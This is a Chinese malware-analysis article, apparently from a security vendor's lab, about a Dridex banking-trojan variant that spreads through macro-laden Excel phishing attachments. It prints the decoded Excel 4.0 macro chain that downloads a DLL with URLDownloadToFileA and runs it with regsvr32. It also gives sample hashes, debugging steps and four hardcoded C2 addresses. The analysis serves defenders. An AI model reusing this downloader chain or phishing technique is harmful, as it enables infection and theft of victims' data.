Dridex木马新变种来袭,小心来历不明的邮件!
2020-09-22 12:34:36 Author: www.secpulse.com(查看原文) 阅读量:416 收藏

背景概述

网络安全宣传的时候经常都会强调不要随意打开来历不明的邮件或者文件,这又是为什么呢?

因为很多时候一些木马病毒的入侵就是通过钓鱼邮件来进行的,深信服安全团队近期捕获的Dridex木马病毒新变种就是通过这种入侵方式来入侵受害者系统并窃取信息。

Dridex是目前全球活跃且技术比较先进的银行木马之一,其又被称为BUGAT和Cridex,主要目的是从受感染机器的用户那里窃取网上银行和系统信息,进行欺诈性交易,该病毒样本会安装键盘侦听器并执行注入攻击。

Dridex的目标用户是Windows用户,通过诱导用户打开钓鱼邮件附件中的Excel文档,导致宏激活并下载Dridex,从而感染计算机并窃取用户信息。

样本信息

病毒名 Dridex Trojan Variant
MD5 36d6caa7639fa761ec5408b1cdc8cad7
SAH256 519312A969094294202A2EBE197BB4C563BA506FFFBD45000F0F9CC2923695CE
样本类型 Microsoft Excel 2007+
恶意类型

Dridex

图片1.png 

入侵流程图:

图片2.png

这个样本主要通过钓鱼的方式,伪装成带有伪造电子**的Excel电子邮件,如果双击附件,Microsoft Office Excel会打开它;

图片3.png

查看我们的电子**需要去打开宏,但是宏可用于加载其他恶意程序,所以对于一个未知的excel文档来讲,启用宏和打开未知的exe文件一样危险。

如果这个excel含有vba代码:

1、可以点击All-Open and pay 来执行恶意的VBA代码;

2、点击事件的按钮,来触发布局事件(Layout);

查看一下VBA代码:

图片4.png

发现会弹出警告的消息,VBA被隐藏了,可以尝试用EvilClippy去除隐藏属性,安装相应的组件mono。

*EvilClippy介绍:EvilClippy的开源工具,EvilClippy是一款专用于创建恶意MS Office测试文档的跨平台安全工具,它可以隐藏VBA宏和VBA代码,并且可以对宏代码进行混淆处理以增加宏分析工具的分析难度。当前版本的EvilClippy支持在Linux、macOS和Windows平台上运行,实现了跨平台特性。

解除保护:

EvilClippy.exe -uu macrofile.doc

图片5.png 

直接解除保护查看:

图片6.png

直接可以看到相应的代码:

1600066594(1).png

1600066657(1).png

可以大概知道A720-A1008有编码的URL列表,由于字体颜色是白色的,可以调整一下便于查看;

图片7.png

直接调试vbs代码:

图片9.png

发现解码IF(ISNUMBER(SEARCH("do",GET.WORKSPACE(1))), ,CLOSE(TRUE)),

继续下断调试;

图片10.png

CALL("Kernel32","CreateDirectoryA","JCJ","C:\;",0)

图片10.png

CALL("Kernel32","CreateDirectoryA","JCJ","C:\;'",0)

图片11.png

CALL("URLMON","URLDownloadToFileA", "JJCCJJ",0,"X","C:\;'$.",0,0)

图片12.png

CALL("Shell32","ShellExecuteA", "JJCCCCJ",0,"Open","regsv***"," -s C:\;'$.",0,0)

整理一下:

IF(ISNUMBER(SEARCH("do",GET.WORKSPACE(1))), ,CLOSE(TRUE))
CALL("Kernel32","CreateDirectoryA","JCJ","C:\;",0)
CALL("Kernel32","CreateDirectoryA","JCJ","C:\;\'",0)
CALL("URLMON","URLDownloadToFileA", "JJCCJJ",0,"X","C:\;\'\$.",0,0)
CALL("Shell32","ShellExecuteA", "JJCCCCJ",0,"Open","regsv***"," -s C:\;\'\$.",0,0)

在URLDownloadToFileA开始下载东西;

图片13.png

以上的过程是将随意的URL下载到本地的文件中去,文件名字随机,记录一下这几个网站然后去比较一下下载的dll文件MD5值,发现这几个文件的MD5值是一样的。

图片14.png

可以看到变量是我们看到的文件夹,路径 C:\cEACqJVb\D6dpWrT\26bKqTf

图片15.png

最后可以看到使用一个命令 -s regsv***下载文件,直接cmd process查看一下进程;

图片16.png

图片17.png

查看process tree 可以知道利用了execl去作为Dridex下载器,病毒直接调用了dridex中的一个方法,regsv***为了能够索引到xxx.dll后创建组件,调用了函数DllEntryPoint完成组件的注册。

图片18.png

我们可以看到下载的文件也是一个dll的格式,符合上面的regsvr,尝试直接用od附加进行调试DLL,查看一下导出函数; 

图片19.png

图片20.png

或者也可以直接用OD中的插件loaddll 直接调试。

直接bp LoadLibraryExW 找到那个dll文件(如果不知道断那个LoadLibrary可以ExW ExA A W都下断,f9进行分析);

图片21.png

参数这里写我们的dll位置,定位查看;

图片22.png

直接定位到位置后下断点,重新执行到该断点的位置,

图片23.png

可以直接停在这里分析,类似一个解压缩的过程,最后的地址加载到EAX中,进行跳转;

图片24.png

执行后,解密提取PE文件到可执行内存空间,类似于正常PE的拉伸的一个过程;

图片25.png

发现以下可疑点:

图片26.png

正常来说恢复现场应该是pop,但是这里用了push edx 加上 retn = jmp edx,相当于调用了Dridex核心的部分;

图片27.png

每一个dll文件都会提供一个导出功能,这里regsv***调用了GetProcAddress从Dridex中获取了export:DllRegisterServer,主要查找导出函数的地址,几乎所有的恶意操作都在DllRegisterServer中,相当于执行了恶意操作的主函数main;

图片28.png

在这个DllRegisterServer函数中,Dridex从终端获取信息,发送到一个服务器,它获取自身电脑的用户名和完整的计算机名,然后从注册表中读取Windows安装时间,将获取的信息放在一起,加密成MD5。

数据长度+计算机名称+ MD5值,他会获取我们计算机注册表中,所有已安装的软件注册表信息。

图片29.png

例如经常玩的wegame:

图片30.png

用的一些工具wireshark:

图片31.png

1600067490(1).png

 图片32.png

图片33.png

图片34.png

*Roaming文件夹是用于存放一些使用程序后产生的数据文件。

 图片35.png

将收集到的信息传送到一个服务器上

以下四个地址是硬编码写入的,用来发送收集到的终端数据资料。

31 39 39 2E 36 36 2E 39 30 2E 36 33 3A 34 34 33  199.66.90.63:443
35 31 2E 36 38 2E 32 32 34 2E 32 34 35 3A 34 36  51.68.224.245:46
38 35 2E 32 31 34 2E 32 36 2E 37 3A 33 33 38 39  85.214.26.7:3389
31 30 37 2E 31 37 35 2E 38 37 2E 31 35 30 3A 33 38 38 39  107.175.87.150:3889

总结

该恶意程序通过垃圾邮件进行分发,会对银行以及公司造成很严重的后果,虽然Dridex病毒很久没有大量出现,但是一旦感染,会导致计算机内大量的数据泄漏,所以我们也要去做好相应的防范措施,避免这种事情的发生。

本文作者:深信服千里目安全实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/141467.html


文章来源: https://www.secpulse.com/archives/141467.html
如有侵权请联系:admin#unsafe.sh